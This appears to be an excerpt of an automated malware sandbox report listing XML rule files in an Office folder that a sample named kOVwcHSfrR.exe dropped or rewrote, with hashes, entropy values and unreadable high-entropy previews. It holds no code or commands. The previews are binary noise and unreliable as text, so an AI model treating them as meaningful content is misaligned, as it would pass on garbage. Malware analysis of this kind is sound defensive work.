Preview:	<?xml....T)..\|.F...\.wc........%.u._.....".Q.....&.g........!.m.:...a.........^j.......2...R.Z...]..4S...R[...\|2.........x...N=Ky.k"....z..... .6;lf..i5"_......x...P.[.5\y...4.L...o,#.uF.z.x.o..[O...jS2e...e..z.......jnv....`.;.g]..`k.Q#.\..3.0.3.\C.U.....s..h.pN..d.....?.}..ZG.~(4..$...JI...m[..B.....U{O.S[..8....n.........:m....$%.y........)._..n,.^[...+ ...W.\..r.F......x.vc..q@!....$)=y.\|....4...a.AW._...v...t.+<....u.r../9G.....A...e9..m...{.J.n4..m8........P..e...Q...%k6..(..P...C...E...1......<l.0>X.-z.-}d..7.......1]N.x.a."...G.~....>\|..5&....;x..p...uT.$."..,.h..........3.....G.q...x.....F.I.n..k...o..=.J.j...@....I@.....PS..K..K... ..Z....rO.p3.:.u9....&.%.7.^1..Y.m..x:.R5.A1.....5u..,..a..H..Y.....9(zfD*.K3......w.hLHbB.yZ.%...G...j...M...1.G^.L....@0....{.B)C.qt..=.)....d.....Q..B..t.q.>..+.].....<. .~.......Q..6sk{./..}"..Y..."Q.......X....kp].j..?\|@._#...~.s..B.1^....S].w...IoB>.(T..k...//F}.z.d.\.......W.U.y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.894439239320754
Encrypted:	false
SSDEEP:	24:4QEuZmhzDdnNPgcltXs62OVkKriqfzb+DxLWZqGmxgE2z3toA8oEMRBw1bD:4m0hzQcltXPfzqDxLW5UGz3tqxMRByD
MD5:	F6FEEDB6DC0AE77975E2232FA81BD137
SHA1:	6F7337C0DCAAB9A7297BE59BA73FCAC2A877F9B5
SHA-256:	130E4382D854DA501926F897BBD7B8FAB1D17810D72783EE58FF24F35AA88494
SHA-512:	7D26C5BEAD3ECC6044167E991882FFC017B48C0E902740AAFCD57AFF38BC1FE1E0C0BAC469FC4175D7F816213DDC1AFE39A54659AEEB357395156964D84DF9E5
Malicious:	false
Preview:	<?xml...\|/...S....8..w... 1...[sI..5l....n..y...L...U"....x..........{8d[@........C%.Q^..T.u...x.W.h.S.R>z..5.9...F..0..........).)...E G.Np.2.....B.O^.1....z. .,...0p].H..)W.c.\.a>s.......c,..H..O..U;....K.`...._.I.....;...n........m.E^.aH..iiO\..\f#U.V..Rn..u;..%....+,.8..Q.....%g.D.l..=.G9.).$l...<........(8.G..S...@..O.K.....mf.F..N..Yu.7..Qy1~.L.A0...D#..?.E.7.=<..........E....<.)..8~..X.`.........s......J...1^..Y.....IZ....k\|.....jr.)t...m........U.y\HZ..W..U...D.]DkA...H...Y....okl)...'oaTXo.c..E%.I...-..G............b.T.pAC..>.+.(.X...P...\|..h.v...G0.n.j........GI.....,...\|Yl=)3.. ........._J.d.R;..-....T ..C.v.gE.b.....!..#%S.%&$.8...f..K..j...w.S1.J,..-.b.R3.})..K...~.....j.....J.....m....i\o.7.m..~...RQT..7'.q........OaG.#=M.V.U.>....Ga...r..)u{.Y..v.F.u..`%.......qz.hZ.h...>....@.(V..*..d:.H........uv.Th.UO..C.zD.q.4O..MH}FHb..'>P.0.x.....OL.fQ..I.Z.=...^X.{......w%..-...-........../.}.......i.d.{.A..j..l....._q.&.X..T....Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.8760801604386605
Encrypted:	false
SSDEEP:	48:WmBQZurQwwVt9UuJcHgDJiEY1OjngMZ0bnljgsGPSQhXyD:WdZurQLVt9UicgDJg1OjgMCljYRXa
MD5:	457187EC427A59E8A5A675100B53C0C2
SHA1:	8164119BF8BD6169D74CE39D90380B221977BD24
SHA-256:	BAD0A9D4B5C6098FAF7F8FBB904D37BA6F2E9C019EA573938B8E39435EE88BAD
SHA-512:	C7A7D19132E3773133709FB2DD575AA8BE6A295B0231418C3E5F717B07D7142755826CBB8B1294C4C758E7F138A2ED0C9EF79BA683F64D21099F6006E55551D4
Malicious:	false
Preview:	<?xml8....:.w.....Tnh..@^g..n....zD5F^......<bT......e....qyew...$Y..d8.@...A.I...\_H....#.n..\|.....M...9.B......Wqi..m...$\v.#..:.U.!..G.G.j`....D....j..PD./...IhL~d...4.9h^....7.:.T....#.A.....LW...p?+...U...c.d..%...C.9.<P..5(..l..~...na...1...t......d.....F....fE..h..;eo...A..^%.g&r%h..5."...q1..$7T.J.w...^..1Q+..&...$....I.a....Ry....jV.:..M.a..S..B....S.>........,.Q...s.a.l.D.^.....HP...q...-.`...r..=x,...&k....A..b..9..v....U.\|!KH....6.(..X\...qy.G...`&,.t.9i9.....VLa.............&a9.Ma..u.V.lo.W.l.>...@..b..(.v.C.iW}.Gj2,....k.....\0..K..p.$...lP..%...<./...{'..Z..7..Z.f..:n..(.-.._..0...G.M..J.x.^.l.X..m..V..#..e!..za.......#'.1.E..lu..U...\h..~.....fDX....m."..j.mX.U9...=....Kjj!._......D.N..Wk.cE...<..AE..Y..?... e!A....C..Y....M.+.....\|.f..@.~.+.T.7=.;.......w....hY...j.TH........aj.X...7ClE......./m..k(..#r#n.....W ..#...!.....br..K...~...M.@d..=z.<E!.O.5.O....[:.G..-..\/..w..).........-.jH....Ay.../b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.86684588480441
Encrypted:	false
SSDEEP:	48:4IreTenrWICIpi5iMPeb0wv8p4nwNntQvW+xdyD:heSnCICIp0PlwvXwRtMWgda
MD5:	7DC37AEC0494598EDDD44B0CC8C7E68B
SHA1:	A6361D2C307B1E1EC15E7CDB827D1489BD212E0C
SHA-256:	A00A2B55BA945FA4B1E8BCDBF15DBB49B48B8933666C9E627C717D026E91EB4A
SHA-512:	9F9CB1BB03F96DF81B8A1A95A521A83900992519C742464115330E336C1FFE266E827316DC1FDD8FD97B40E4F992C5BF5A09CCABEF8949C7990333A52FA2E1BC
Malicious:	false
Preview:	<?xml.I.:#.\(......}..E.i..EXj.:{.JK6X...T....Ok.?.K-}..A.r<fRg..~mn."&........z="D.>...d9.A..p.....e...U+.m\.._....Yxa...U..f..B....;.6q...G....g.(.I.........2MX.8/._..p.@......\.D.{.\..`O.A.l#......N......_...$.].`....q%..Y....e...r.q.......`.79..E$.....x.x..?.OO....\r.!......=5..$t...{/..2.F..O.df3....pY..1%U..s.b(^....or..u..)zmE.....aUE......>.!..~.783..p........Y.V.`a..@..UZ3.........fM..P.A..B.l.."J.6.../b ^........2`.Ny.w.Fx.O..ci..5.^2.MiLs.V.=.m....<._.W./r...~..4.VhI..u.3.....MS#*KVZ#.}.N..O..30.....b.N=. .$.=.`..u..w.....AS......z-7.T...@SW4.J..e.Dcb.0<.u..h..+.3..x.6../5.R.x.d.......3I<.J...>{<.....&..A.w).1#.a.DQ..p.\|...t&......}^....a5.)......R..x...X..-9...re.j..TQ.....:v..FR$c.2;..a.1]..!.#..Igh.Sk..9p.I j.t...r.N...c...&E......2.@al.,. ...,..&B..d. .Wy.#.9.y.Q..(J..M......p.[V.....u...E.)...>......P..H.6....x......a..;g.11m......k.2.w..-.r...a.......On,.q.X.n.4.m..dBUQ3..]..P.3..iv..TJ/. ...\|YF....Z....^q...<.p..g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.889811629495471
Encrypted:	false
SSDEEP:	24:UpX9eLFMLSI5mNE7kKvqiNm7oInAadQxh64KWW9mRNA3x/8N+fFRQkPOYI+w1bD:UpLLhQKSWmEgbmtWOYx/2+fFRQkmcyD
MD5:	AA29E18B184A51A894CEF2D1537D423C
SHA1:	444F75955313D5654339CC14549A970651BE8238
SHA-256:	AD3B3FA5066C913662025C2CD398AEC44250F65C75097E74C2600B8F5F72F170
SHA-512:	E866FDBBAD75D6E30C06F4AE95ADE4767B0FF5265C1F1BCFE419E08D15BD4E5CB7DE7A414FFC72F8D1040673445831DDFECBA163BDC329B58F33EF17AD8075C3
Malicious:	false
Preview:	<?xml@.70.+....Zg./.U9.{.2...S..k...8...{z...g.....d...J...4.8\.r..O.0.......~Q.<.^. #:.j).6( ...d\y.!..H...).X8b.YC....& p..kgg\|... ..9......~.H,....f".....6.}......L...cv...I..X....K..7.BJ)....W..;.3..O..YC4..duM..#.:<z..,..x.'..P.<...)...^.{..&.8.....v.........XI..;...eB.S.F......S.zIs......./TG....%Y......9..k..,Z.5.m..(Hs./.L.,..K.R..<NA._.^..%>...+$...e..TIq...p.....?.^.IM78=........U.b..R.DB[...iE.8'.h..k.#.B8.g.&\|.=o<c....)......U.'.jM..2..8...P.HxA....OT.).....G...H..1..+....1.1R....X.l...._G.......BH'.C.El.2".G...o.2~.O]...O..QJ.8...\...........`..V.R.........!..x.'..h."..R..+...j...u-x..<.f.y......qzW.V+k.[.....A.6./*m...Y..8>.c...X..........&.oJjdq@..yN^~)x..I..kuU.<..:e..3]n.\|m=C...4..3.P....}4 ..PaS..j.tU...v.G.....a.g\|<1./......./.p.I..`.Z...{../M.#.S....M...\..._2L&...^..Qd...AO......Z..3...q.H.....1M......I..cq.4/.d>F..fqq8..!s..?e9.....z.{....G..5....{...l.!3..=..4.#.AR>..Y."..G$..jvVAwNs..s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.885618422592093
Encrypted:	false
SSDEEP:	48:YqKeEXEVl6PpsgRwc6+sPngoBKknUYSKeQQqyD:YV26dRwJ+sPnqqbSfQ5a
MD5:	0A8610A5593CAE716D580B67D6C039A7
SHA1:	7BCDD1283ECE1F371B749FAEFF4D29BEE72CCC82
SHA-256:	26EAA1D5B9CCD0651F277F9C3B2EA3529F692DF17292BA461DDB611D99773ADC
SHA-512:	9EE27485E5E0DE3483A2C6D5AAF648E043C30D326EB0F1349E49299A53817DA2B97351FD5139720DA3B7ACB0868A387DBCD8EFA27F4FECADD0877536B9283F9A
Malicious:	false
Preview:	<?xmlh...@...l.1"...x~....T.......GhMH\|..............'.;p...2..l.aZ.L....".v..Ym.kz1k..9Y.M=.<....3n..#.SM!.-,..D..);.\|....N....v".k[m..=\..\u...:....R...axZ...Z..Nc..4c.j....5j.Y.<..4/.X(.."..'.Df...SF2.`................!...I..\|...&C.v....2>.4.s..G:..>.+....y..7kI.df%.. .1`A.X..(..<........I...=f.e.S....;...3...v.2.1.W6m.j......['.p....H.t..&.A\.#.I.lv.]..M(H....[z....n.....=u..,k}....!..$..j{....d... .S?...oG..fBF...T.%..\|...[`h../\..p..$...<....U..>1..`...D>.....E.wAK...`Ic..M..>.(......r.....$..,.l}...^..t..X.\E......U...V....VT.J....c.....[tcJ....'.r..'.`..`.o....'..nm..F.P...k.......$.E....8.o..S0.WDo...V..k..&.I%.l..N.T1.z..6a..:V...Af5..RS...1..M.q-.E....Wp....3.L~...M.8.E.~#/....c.....V.=[d........T.q.-.x..+..F..rx....8F.........=.......4\=d.D.r..I..@+5./..e..i,.U..sU.:c.Y.XU[.3......]j...........V..z.F...B0YU.......$..M..\.......K7..=\..}.;.T....k.$.....IN/1..-#_.~r>..pG.......9......V.>..#..`..P..........L..<...(Z..5+...j.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.880031173516205
Encrypted:	false
SSDEEP:	48:PpBKCTmv00AO2mLtv0k/1lX2wk3vWCb8gIHOT3X/AQyD:PHKy60u2mfmr3vfQlHO7XIQa
MD5:	413EDEF02B0F40F94513F2875E5FD32B
SHA1:	BEA261E3662832A16897124A7E9D5FED9B7CBEE2
SHA-256:	D085C77C0B9AFA25F49CB8F8AB3B9BBA5E75789022DFEA06B2DA34319D2C84E4
SHA-512:	B8FEAE85566B9C0D643C36D9D72B3C3380CEC81FE95C80C1E3BFD301A83D20C22B71AD64E03F503234F27E0D1442B54925D1F960A7114296419542A29EA2195C
Malicious:	false
Preview:	<?xml..m.X..h6.{l..9.......I.....<...b....G.<..L..A$.d.-...b....`.+.f.!VGw..._.....h..F.Y..?......7Tk.e..q..>\...)-J......8..!...utp.i.)..&.VM..........b...NG....._.$....46.r...,.\|.a..)....C....F+......P.q.J.X..'....4....$.;.7L....w..\.......lZ...u....../...7df...k..?....R2e!>.Ff8ie.............w..KnQ.B...l.<...b..V..E.[.../HO.4O.nwC......I^_y..L.....0K....FX..N.B&...\|.^..[.4.e.......~&......gAuR.I..i..S..e.......!.'.a..#K..t~E.D\tLW...G5......)\|.. Q...T......`b8....&7..v.M..J......2...S..92......'.Q#.j....:O&.G2..p......(..S<....=..Ea.,4=g?.!...x.g../......+.F>..)-.:..5...!.XV..il......D..Hf.].\[.......l.0Bs..B....\M....".n..gUGP..9~.[~=t-........`.a..R.Z...q....o&_X...[....."..........:..,9.H...j.{..`~Y.z.<./.\.!&.).W..k.ru....#.82Wz.:......@..O.(HQ'<......#z.`....l...........9x..q..gV:........^Fk.......j.>..(....\..0.C....k...dn..p..IYq.u.....+..S..n(=."Y...]`....CD)X..zvu..E.Rp....Vr...B'..u..^.N...U7po....r.(........#q...D..)\..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.881857111724693
Encrypted:	false
SSDEEP:	24:yPDJ9NJyI0q2zOJaVEG+5woda8slXY0qzFi/WIawNAk7uQveffXMNTuw1bD:y32ysVEG7oda8bVIAQveff8NTuyD
MD5:	3ED4B42A8C92131E8D7050CDD0F32B4D
SHA1:	430A19828DA8AFF8B248A452AC1C0A86F3EB3718
SHA-256:	6CD522F68F7BDE4FFB0D9266C652D87C68499AA444654ADE540E6D6B7555EBA6
SHA-512:	A0718BC162557FCDFE5124BBA7D7C7F9A65B74E8B105E2E705D8DDF6F5EE0D99618936EC9DC3F3DA95610F520894DFE72783E96DAA429EAC21CC94504C5D58C2
Malicious:	false
Preview:	<?xml.C.. .........\.....J...k...m...i."....6?..>...$..#&..%....c....9..A..K.VC..fS...Pw..........iC...v............K.g.....e.;x ...T~~eW9\ry.l.b.1...4..-..o+...s...3....u_"...+.."s..uy...W.../.,..W...Sh......D..(.9..>........).:....'b.Lm_...P....6.7ES.O.Vz!..3-.?7rg.d......w..........{...<.......B./.p....(..`...>DsG.T)a.....w..x....pI....x...n,...Hc..q.9.S.Ne.x.3^.%t#.._.......-.....jsW&....Jg..br........,\<..X.B.i.D..8B..,Bk@..5$Y.....j..?b.....P.k]tv..............Vk..$.4.1.%.P.'z....Uw.h~..an{.T.K..O..h...Z..F.cnxq.&..:.P..q..z,7G!....C."..f00j..5..E.....Lx."1.p...x.i....0..A\..e.......U..2P3D..wM........&..,..9.4[..`8.. .m..ca/7.........Z...j.:%.>N.....m........~x..N#."......6..G..,.a.m)N......c.'z..j.....WS.>.&..c..gl.R6..c..XC.;.]..).{aH..r.P4P..E@..P.....I.....^.e.\|...X..e9x`..L..T..R!>>u.+..Qq&.Sf1.....?.H_1;TxU.0..aa.9..9"..CT98.K.0..W.U..G.TG......\|.....w..G.K.....h.....:.......N.&..'&..-....t....a..h...Fp0D...]...nqq...TC..[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.890211652304291
Encrypted:	false
SSDEEP:	48:JUOwe33JgYQrqzTfHQ+aHOVY2tC/aZiguhQUyD:Jzj33ZQGf4+aH4NeaZeh9a
MD5:	BDAADA046A62CC574E6C4CF046BDE783
SHA1:	AEE147DEF8AE34DF4EE02593E868366AED5B29BA
SHA-256:	68ECF312B3651FF93083843F11282011C62119156FC672116CD38B22136BB079
SHA-512:	D170912C1B74E37D51987F46BEB57236ACACE33ACE91E4E3480EB180F95F2EA9A41E22EA1F32BDD54454E6E45AE76094A86FC3C3C523000C5E306DBFCAE43B66
Malicious:	false
Preview:	<?xml9..Y....P..l,3.......Q........Q...^P..........%..M....:....v)E........3..!X.K.#....))j..mA{......t>.Y........<.).[....h.7..N+.2H....a.a..+.N..5..=..%.p..pa...kD...++...w..Y..dxH. ;..............!..sSY.C...(....;...Ah....F....>.g...a..CE....CW.~.....I..h...h:,....7...........w6.......k._0\|..z.;..$.w#...Y.m..Z......(.....S.BHs.iNb<x:9.....j.-.&}......1.Q.\|....N..~......./.......(..?;0...K.6........TWzG=XO...f..nz]O.B.y.h.G.$..T...t..Pp-......d.q..p..J.u...Br<..J0...6......./..P.(6...k.Rj.pWkI3.i...w..G..=.=z.8(.........z.uB]c..h..@....L..B.O...9VAS....b....w.........%..>V..]..D".S.).};g`.R.FXe..? ..o.xo\.'....]...F..l{_.aG.q1...{.41S`..b..........W'].N..P.Y..r6..X...g.e.J(.il.L......aY.]....5.(....%.5..Ld.......R..."3D.....8s..X.:.c-w............?.;K2...A...gJD.P.M@..E.H....q..y..7.VT.<.F..?.cm.J...21._.]..+!y=s5x.F..H3...../.IB..v......<.c@..".....m@.+L..5..K..vu.....?4`.X..X....0.......u.B.]-K..X.......qs.7'.2]\..h....d...G...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.872239708761293
Encrypted:	false
SSDEEP:	48:iZJYNngGN6RlvWqOmlmXicpU7qd3O9OFyD:iZMVYblmScr3OEFa
MD5:	9E5C14592447F516F65D5F448A670197
SHA1:	8F1DCC90D7C9113B96E599EFACB6A45A44A1E2D0
SHA-256:	90E87D2BC8090BF05F099784C07BD2F0F17B9ADB1D3E2B0DD5ED9C6FE2B0A73E
SHA-512:	92CDEE0E921427FF938E28072F2BD704DAC505CBF2DADD012316D3396DA3BF7ED97B9781A8376CDD965B52A3EFE442E26CB81B548B367B73E470DBC96424F57E
Malicious:	false
Preview:	<?xmlk.....}.u...*...+.`j?...(..QI...yL.K.E.E..@.R.....~K..6..#&;.0..G..pm..U..antC.(_v.nH..n..Y..Vr.....,._~...`.$.....Q.`....q.60BQ........Ij......?.YK{d.,G(....'4l-.vJe..f..]G..o}....K}j.x./.........ta-=."....\|Y..:'.ntbd....w.....C.r.a...?W........Q.LF?.a.m3...~h..s..M...>..........U....;..V.~I.$...\.%......OVS..s.#w->el...b.=.cz)..&{.\.y.Y.j\|..uW.....-...o..cW5n....+..=..a.[\h..(.l..V.>o]}\|6?(.'<~.+u....V.0G..u.....j.' t~..\|.N...->C+S...nx.uh...x.hZN&L .0.."....Q<V./.XY.{.>).?C.+M......"......B.M+a+a.,..fe{\\|...se2.j.@.&....'0x...IX.W>.'......R.../...>.Q..E.YR.<../.:._\|..vU.3K'?.....Z2.....=}sIy...!.a..Ef/".z.f..6...6.......j....:..c..J.{l....k..._o.l...s..T.V..y.;..Q......%\L.1.7.Z..Pg.^-..dw'+....-.......RE..7.V.,....Za.w.8pYq.....I/4......+r...B.53O#\|..H....$8.......Kt....a...AU..i.e.%...4.O.~.]~...".u.......G.V....@O.S.....w7j.?k.Q.s).K.wE..P....`s...\t..W.....8...2F[.j.>k............ ...b....N.,).A.?_.?v%>.2.....K`..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.888949647097138
Encrypted:	false
SSDEEP:	48:j/+Rv3+DJVIjKXiNwBUkN0pnbEG0yp0YyAECyD:CB3+bIKX9NhtyKya
MD5:	0FDEC8FED88852C9BD67DE85CEE27B60
SHA1:	F2C34C038D935C49F143883EFC4A060AF2B02678
SHA-256:	37E17127E9A79825A119411A39566905DD113C82F38CC082C8A34AF25B7C25F1
SHA-512:	3A916933292CDE1F32054BCF085A65649A65B90FA28A267ABA760DC0DCB4F06678854EA1E17F0C2C4F33A5F1AA3895FE55EE99882120C16B199F143DB03FFB4F
Malicious:	false
Preview:	<?xml.K.g-?.d....1.....w.&....\..:6}, .......`...O$fY.......js..'....{...9..]...R.. @...... ....de#...."......i]e.L......M.X.....r7..;.}o."{."2.9.q.-;......s..;.^#.OP.s....fV?{i!..<.:..l.>.Z.......:..4.TC.5r.....>....K.IW.j..b..}......!B1xj....s.Y5.I..s..m...}.b@.....[..D.G.. ....S...Ev..;.F..49...4...)......(P....6.\|..Cb...D....v.....\.....&4^.....o..y...R.vi....4a.\!...:......=.....y...K.3Q.4.D..J..Lj.).........T..W..d..!.\...!....T...`..]..:O86H...{...H.z.......2.1ga...USiD7...sC..^."g...?Gn...<8$..r.....M:I.F....L.).8'...RY...5vw. ..D.,.zt1..{[)..Z}......#v=...jr~M....mn.........c>4...L..........Y......S....^...smNL..U..n.kgK..v3..x:...41]...e..x+L{C8{.........;..d..<..D....W.p....Ga..E..J.....4u..HzK..3.....3...k._..........0.k.`0..k.EW.>............(....<...X.gh{..<.-........1.;.T=.....4Z...q=........}.Y6..@.q.f...m7..+.#..1f.S]\'EDj'....;...+c....k.::tA7 ..Dxb...~q..#BK.....\|8x..-.b...3..o..TK%/.9..Wm.:8.q.bG...&X...o..!3..7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.885552321452602
Encrypted:	false
SSDEEP:	24:vAVtSzEluylXcGuIMV0bj+5LoSnhV9xH4wGJCznMhYjDHa9Vxb8YP8w1bD:w2EZqGuxV0CLXhV9uwOCzn5K9D8Y0yD
MD5:	594A5730164F1915598B87BC944542CC
SHA1:	5A237623A56A4D214A8A0FB62C5BC50EB24ED651
SHA-256:	80A18184C5B8360C4921176D1ECC3C263A8362BA9AD408BD0CDF5044C1B83DE3
SHA-512:	619AB253523DD5C5606D05528F57690AD1E7846DC57CFEE39A10FE679CCA32257F49BDD739D7E78AD8FA94A95341B629658FE46BFE41CDD10BBF85B811F3D5E4
Malicious:	false
Preview:	<?xml...lAT..+).U.c...b...^.]@Y.j.1...:.c.v..L...'.n........).eq.#..A.@..4..u.g.t...=b...O.Bt.7.r.6.I.."/4)..z...%l.V.V....@_....lq. [..`.M.%..SgdU.<h}...;.%.W...~......uCr.(.....;..e....!>.o.l.!a.....eP......Kq...NEq..<(.,.").Np..k.R.h<......-..^.-.....Jh3dn#..0QE..f.O.{.ip).../fa..C&..n....g.<...P/..&B....}...5T.,.@5..u..].,..zK.2i.;..5#..,.Yc+(bF..k.@Ko....d...".l.......?A.Q.H..r...mE....X..`;....E."...O..G.2.^....c.17K...Q]...U..g...:.4.k....ys..i.5..ZAd.(..P...Q.J.......l.V..8.j.wK<.J......b....l...&,:....~...=ILf..YNkW..Y..3..P....l.L..... .j.t.....FR<,3.;...U3U.H.8.H.v~]..0Vn.q..x...]~..tVT..i...[....W"...E. ..........a,U.._.%..5.....&......#:...r.....V....JE+?8..I`.>....#.....I;D....J...b...]ML.%.O...K...1.;......=.o..[n.....J...q.x.V..w.......f._.,..P..@o..r.7\|.b.&......C..F.XO...J.:..Q.....h...y.\|..!..B.....>.r~..p.}......R~....e1....W..pe..Kb......;..f ...".*k...q.\....g.r..V\|...7.o..v....i.B.D.....mHKH.d~.R.^....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.893659184045589
Encrypted:	false
SSDEEP:	48:2dOyCwTMDsIkhIArZIhka5onHCvFU7hP8heyxfsyD:OOyCwZIorZUkasHCvFU7N84yxsa
MD5:	C83F73DEF79393B8D94BE0BBD7A9EFAA
SHA1:	7AB89E87FA73273398C6DD5C188822425CD7450F
SHA-256:	2D444228C1D36B4750F9F4119E88CE64683908AC5E187873BFC1FFD8B542E869
SHA-512:	F849C72B302FD1B6B80B3CFFF9B0F983BB5046EAF2442E665CB0B6DC70EB3BF64711DA58D130968F2E787CCD92C5F8363F26935E84981C0EA3B902C9E9B35E83
Malicious:	false
Preview:	<?xml...S;.:....6.....4\|.....w2..z;~.NZ.....1).L[k.....&.6!P)M.f..:}.E.!./Ny{.[.8....+u.(]o...\|};C.v!...9'i.r..... .k.b#.=o2gy..........h.9CLi.d.>v.'..jmt..2.I.C.....G...J..Y..,..y..=Q)...j..h..oZ##.a...k1.V).._U.l.. .B......X.@..2%?........"......7.o.....6M.g.OZ\|...1....Jvj....Y....x.\|"s-.f..s..:.......B_.F.&.......X(^djE...k4.w(.Md....!...M..'..,.2.U....6=..../.&...I....7..\q...s.WQ._....Z..,(..%....%...-..a.....6=...M`..t.}:.m...M.......o.N......M.+.YgV...^tLUg.ZU..'E.(k.i....gO..Z.6.uD.-.WP.J.x;.vo......g.n......A.!E._.R...i]..a..'.?.;o?...5n...y..T.'....@..2H.tA.6.-R.k,..L.d...:.~F^..e.y...z.M.-..3.....`....I(.T<ce..kQ.......g...FZ5.....i...8C...URSu[..nEq.Y.\|..En.......@.Jb....t.=..S....*o.1/..L....hbw:3?..y ...M./.+..sH)........^.Ub.m...'..sI.s.ZfD:.w.8....).........$.J.X.9..9...j..q........7..\c.m.=....!.H..x.\|...Q.8.b.\|.=4y...,..G.X.....~..Wz?...-T....$..F...4.+=,......^E....v.~$Y.....<.&./[..sT@..........+.,...I....... .'.c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.873218308964811
Encrypted:	false
SSDEEP:	48:SNixF70wxKp/Z6ddeFuPAdb7jbR0hCkyD:SNCt4phAd4QA9nWa
MD5:	A4260099219B4DEDD9059F794D97D6B0
SHA1:	2241BCA830FDA52627B2B64A276F6DD9CA73A010
SHA-256:	6612428BF6A4F29D370D0EB4F09BBE607369C48E60473E3C8BE97466C91E8DEE
SHA-512:	8B38D8906DC81ACBE0A647C6D1EBB8CEBB752E0CFD14660875595F231F9329FE9249E61F7769919DB934A6F6BE6EAECFA50969003A0A82F7393C5859E62E7DBD
Malicious:	false
Preview:	<?xml...Rq.Oo....7..Y .#..9...Ctlb....p.....+..R..:..;\V.....6....<.z..5.Z.R..e3....@g.............-....&).=.r......9.%_`._.....K..E.2....D.O..dV=?..!..NK`.._F.W....)....u.Wu..h...\-i.Z....+..L........Q...gw..&w.....3<.uw.._..'.[/PV.....7).^..g......!a....Dd.e...>.`f...g..z..R...R.z......YA.Y.F..........%...9.G."x...r..}...s..w'`....j"?....t_N.0....w.2$.^...X....8AR.....L5.F.......B......A=J.1%.&j......->N..%.%...L..xX.g..4....q.C..C.GL(..;.rE.G..T..!..S)..+...&..ro58.3.x~..b.s.=...W..e(.3..9%.d....h.!}......!>.......N.#.+..d.Ffb..w.AHq:p...;=~m..,..J..WYC..?g......u...(.....WHL........`......W^..Nr5..xg.{.\\|..].e.Zb.eqy.....u8&.....U`h...D.w.ne.._./..p....L.f.aq....Y6+$N...^\t...@.z.......mm!jF..zEW.I1...............1k......lfs....O_.;05.b..UNC}=......A.bl.=A...5.Yw.....9.t..K...e-..t>3..@}..:1k._.w.{&5.K..i..hU.....a\|JSt.PW'.R.b..=.....WlK.@..~.A.....dE...G@&=......j..I..y.2...C..[5$],..3.5.U...^X...6.e.J.ql.l..I....I.M..O..._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8750095098394155
Encrypted:	false
SSDEEP:	48:J0P+TkQSYqa3Slq2L3HuwhAvS8xNHAlPv/Gm/RyD:J0skDQCzDHpAh/HWVRa
MD5:	8FFC8380D37D9065D5A0A22B16624D3A
SHA1:	C1E7D0BDD1FE59289581E1F9AF89093401ABC0A8
SHA-256:	64037BF80A656AD240B7F93156E1E82C565DD8C7814021CF08E2214C8DFBEBEA
SHA-512:	65C69E847A318BA18674E1589C3F70DF4255C6AC8F3594DC1F34F15B17741A63CC52452465B67C8C33A529BE0188532B74DE7A5BF8B4CDBA9EE2E10F2698F35D
Malicious:	false
